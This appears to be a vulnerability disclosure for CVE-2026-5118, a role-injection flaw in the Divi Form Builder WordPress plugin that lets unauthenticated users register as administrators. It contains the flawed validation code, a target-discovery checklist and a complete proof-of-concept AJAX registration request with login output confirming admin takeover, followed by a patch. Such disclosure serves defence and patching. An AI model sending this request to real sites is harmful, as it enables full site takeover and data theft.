
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
The Divi Form Builder WordPress plugin version 5.1.2 and earlier contains a Critical vulnerability that allows an unauthenticated attacker to create an Administrator account directly through the registration form.
One hidden field. One changed value. Full access to the entire website.
| Capability | Impact |
|---|---|
| π Create admin account without login | Full Site Takeover |
| π¦ Access WooCommerce customer data | Data Breach |
| π Edit plugin/theme files (PHP) | Remote Code Execution |
| π³οΈ Create hidden backdoor | Persistent Access |
| π₯ View all user data | Privacy Violation |
includes/shared/handlers/FormSubmissionHandler.php β create_user()
// Line ~1691: Get role from user input (WITHOUT SECURITY VALIDATION)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Line ~1702: Only checks IF role EXISTS in the system, NOT if it's SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Line ~1745: Directly apply the injected role!
$user = new WP_User($user_id);
$user->set_role($role); // β "administrator" applied directly
FLAWED VALIDATION FLOW
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Attacker sends: role=administrator β
β β β
β sanitize_text_field() β "administrator" (clean) β
β β β
β isset($roles_obj->roles["administrator"]) β TRUE β β BUG! Only checks EXISTENCE
β β β
β $user->set_role("administrator") β FULL ADMIN! β β PRIVESC!
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
"administrator" IS a valid role in WordPress,
so the isset() validation ALWAYS returns true.
This function NEVER rejects dangerous roles.
DFB registration form contains a hidden input:
<!-- Original developer value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Attacker simply changes its value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[β
] Target Discovery: Divi Form Builder indicator
βββ Endpoint scan: 50+ registration paths
βββ Homepage link crawl: keyword priority
βββ REST API: /wp-json/wp/v2/pages?search=register
βββ Sitemap parsing: XML sitemap URLs
βββ DFB REST API: /wp-json/divi-form-builder/v1
βββ AJAX probe: de_fb_ajax_submit_ajax_handler
βββ WooCommerce: /my-account/ sub-pages
βββ robots.txt: custom sitemaps + disallow
βββ Contact pages: hidden DFB forms
βββ wp-json deep: content-first scan
[β] Found: <input class="df_hidden_user_role" value="customer">
[β] Plugin version: v4.1.9 (VULNERABLE)
[β] Multi-step form with reCAPTCHA v3
Required parameters:
βββ fb_nonce: [from hidden input / de_fb_obj]
βββ form_key: [from hidden input]
βββ form_type: register
βββ divi-form-submit: yes
βββ role: [INJECTION: administrator]
Field mapping:
βββ de_fb_user_login + user_login (both variants mandatory)
βββ de_fb_user_email + user_email
βββ de_fb_user_pass + user_pass
βββ de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_from_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[β] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[β] HTTP 302 β /wp-admin/
[β] FULL ADMINISTRATOR ACCESS CONFIRMED
βββ Dashboard: /wp-admin/
βββ Users: Can create/delete any user
βββ Plugins: Can install/activate/edit PHP
βββ Themes: Can edit template files β RCE
βββ Settings: Full site control
Testing conducted in an isolated Docker environment (WordPress 6.5 + DFB v5.0.0):
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LAB VERIFICATION RESULTS β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β Method: AJAX (admin-ajax.php) β
β Role injected: administrator β
β Response: "Registration successful!" β
β Login: HTTP 302 β /wp-admin/ β β
β βββββββββββββββββββββββββββββββββββββββββββββββββ β
β Method: Form POST (direct submission) β
β Role injected: administrator β
β Response: "Registration successful!" β
β Login: HTTP 302 β /wp-admin/ β β
β βββββββββββββββββββββββββββββββββββββββββββββββββ β
β Status: β
PWNED β Full Admin Access β
β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
// BEFORE (vulnerable):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // β Only checks EXISTENCE, not SAFETY
}
// AFTER (secure):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Only allow roles safe for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // β Reject all dangerous roles
}
role parameter from the frontend form β Use the existing default_user_rolecurrent_user_can('create_users') for special roles